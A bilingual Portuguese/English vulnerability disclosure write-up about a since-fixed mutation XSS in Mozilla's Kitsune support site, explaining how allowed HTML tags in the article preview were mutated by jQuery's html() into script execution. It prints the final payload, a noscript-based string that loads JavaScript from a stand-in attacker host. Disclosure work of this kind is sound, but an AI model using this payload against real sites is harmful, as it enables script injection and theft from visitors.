Pesquisa de VulnerabilidadeVulnerability Research
mXSS no support.mozilla.orgmXSS in support.mozilla.org
A funcionalidade de preview do Kitsune deixava passar um subconjunto de tags HTML que, ao serem renderizadas pela função html() do jQuery, eram mutadas e executavam JavaScript arbitrário — sem precisar furar o bleach.Kitsune's preview feature let a small subset of HTML tags through that, once rendered by jQuery's html(), got mutated and executed arbitrary JavaScript — no bleach bypass required.
- CVE ID
- Severity
- Medium
- Affected
- Kitsune (support.mozilla.org / SUMO)
- Vendor
- Mozilla
- Disclosure
- Corrigido · fora do escopo do bug bountyFixed · out of bug bounty scope
- Researcher
- Guilherme Assman (Keerok), @lbherrera
Mais um bug que apareceu durante a @duph0use, e que saiu de uma colaboração com o @lbherrera.Another bug that turned up during @duph0use, and came out of a collaboration with @lbherrera.
Ele foi encontrado no Kitsune, o software open-source que roda o SUMO (support.mozilla.org) e dá suporte ao Firefox e a outros produtos da Mozilla.It was found in Kitsune, the open-source software that runs SUMO (support.mozilla.org) and provides support for Firefox and other Mozilla software.
Ele funciona meio que igual a um wiki, com várias funcionalidades para os usuários criarem, lerem e editarem artigos.It works much like a wiki, with several features for users to create, read or edit articles.
ConteúdoContents
Achando a vulnerabilidadeFinding the vulnerability
Durante os testes, a funcionalidade de preview chamou a nossa atenção: ela deixava o usuário pré-visualizar as alterações feitas no artigo antes de enviar — e, mais interessante ainda, também permitia que um pequeno subconjunto de tags HTML fosse incluído e renderizado dentro da página.During testing, the preview feature caught our attention, as it let users preview their changes to an article before submitting it — and, more interestingly, it also allowed a small subset of HTML tags to be included that got rendered inside the page.
No começo, como o objetivo era conseguir XSS, a gente achou que ia precisar de um bypass no bleach — uma biblioteca de sanitização de HTML baseada em allow-list, mantida pela Mozilla e bem comum nos serviços deles. Mas isso rapidinho se mostrou longe da verdade assim que começamos a investigar o código-fonte do Kitsune.At first, since the goal was to get XSS, we figured we'd need a bypass for bleach — an allowed-list-based HTML sanitizing library maintained by Mozilla and commonly used across Mozilla services. But that quickly proved far from the truth once we started digging into Kitsune's source code.
No código acima, tem três pontos que valem destaque para entender como a aplicação funciona:From the code above, there are three points worth highlighting to understand how the application works:
- A linha 43, que dispara o bind
get-previewquando o usuário clica no botão de preview.Line 43, which triggers theget-previewbind when the user clicks the preview button. - A linha 59, que faz um POST para
previewUrl(falo mais disso já já), mandando no corpo o conteúdo que você está tentando pré-visualizar, e depois dispara o bindshow-previewcom a resposta.Line 59, which makes a POST request topreviewUrl(more on this later), sending the content you're trying to preview in the body, and then triggers theshow-previewbind with its response. - A linha 70, que renderiza a resposta dentro de um elemento usando a função
html()do jQuery (isso geralmente é inseguro).Line 70, which renders the response inside an element through jQuery'shtml()function (this is generally unsafe).
Depois de uma busca rápida no código-fonte, achamos para onde o previewUrl apontava, e também o que estava sendo feito com a resposta.After a quick lookup in the source, we found where previewUrl was pointing to, as well as what was being done with the response.
previewUrl no código-fonte do Kitsune.Tracing where previewUrl points to in Kitsune's source.Depois de descer toda essa toca do coelho, descobrimos que o parser do Kitsune usava uma lista de tags HTML permitidas que dava para abusar num ataque de mXSS (já que a lista de atributos permitidos não tinha nada interessante).After going down the rabbit hole, we found that Kitsune's parser was using a list of allowed HTML tags that could be used to pull off an mXSS attack (since the allowed attributes list didn't have anything interesting).
>>> from wikimarkup.parser import ALLOWED_TAGS
>>> ALLOWED_TAGS
['br', 'hr', 'img', 'source', 'b', 'del', 'i', 'ins', 'u', 'font', 'big', 'small', 'sub', 'sup', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'cite', 'code', 'em', 's', 'strike', 'strong', 'tt', 'var', 'div', 'center', 'blockquote', 'ol', 'ul', 'dl', 'table', 'caption', 'pre', 'p', 'span', 'u', 'li', 'dd', 'dt', 'video', 'section', 'noscript', 'table', 'tr', 'td', 'th', 'div', 'blockquote', 'ol', 'ul', 'dl', 'font', 'big', 'small', 'sub', 'sup', 'span', 'img', 'tbody', 'thead', 'tfoot', 'colgroup', 'col', 'section', 'a']
Construindo o payloadBuilding the payload
Depois disso, foi só uma questão de brincar com as tags e atributos até chegar num payload que passasse pelo parser do Kitsune, mas que, ao ser renderizado pela função html() do jQuery, fosse mutado e executasse JavaScript arbitrário.After that, it was just a matter of playing with the tags and attributes until we got a payload that the Kitsune parser allowed, but that — once rendered through jQuery's html() function — would get mutated and execute arbitrary JavaScript.
O payload final usado foi:The final payload used was:
<noscript><noscript alt="<img><script src="//attacker。com/alert.js"
PoC em vídeoPoC video
Prova de conceito:Proof of concept:
Um adendo: essa vulnerabilidade ficou inelegível para o programa de bug bounty da Mozilla, já que o domínio não faz parte do escopo deles — mas mesmo assim foi um achado interessante.A side note: this vulnerability was ineligible for Mozilla's bug bounty program since the domain isn't part of their scope, but it was an interesting finding anyhow.
CorreçãoFix
Dá para ver todas as mudanças que a Mozilla fez para corrigir o problema aqui: github.com/mozilla/kitsune/commit/395ebf68.You can see all the changes Mozilla made to fix the issue here: github.com/mozilla/kitsune/commit/395ebf68.
ReferênciasReferences
- Kitsune — software open-source do SUMO.Kitsune — the open-source software behind SUMO. https://github.com/mozilla/kitsune
- bleach — sanitizador de HTML da Mozilla.bleach — Mozilla's HTML sanitizer. https://github.com/mozilla/bleach
- ajaxpreview.js — o trecho que chama
html()do jQuery.ajaxpreview.js — the snippet calling jQuery'shtml(). https://github.com/mozilla/kitsune/blob/20c0c434b8a9fc39a19d319890054c5b914cc34a/kitsune/sumo/static/sumo/js/ajaxpreview.js#L40 - Commit de correção do Kitsune.Kitsune fix commit. https://github.com/mozilla/kitsune/commit/395ebf68f762d893ba73e679fc7083e9e7e6e508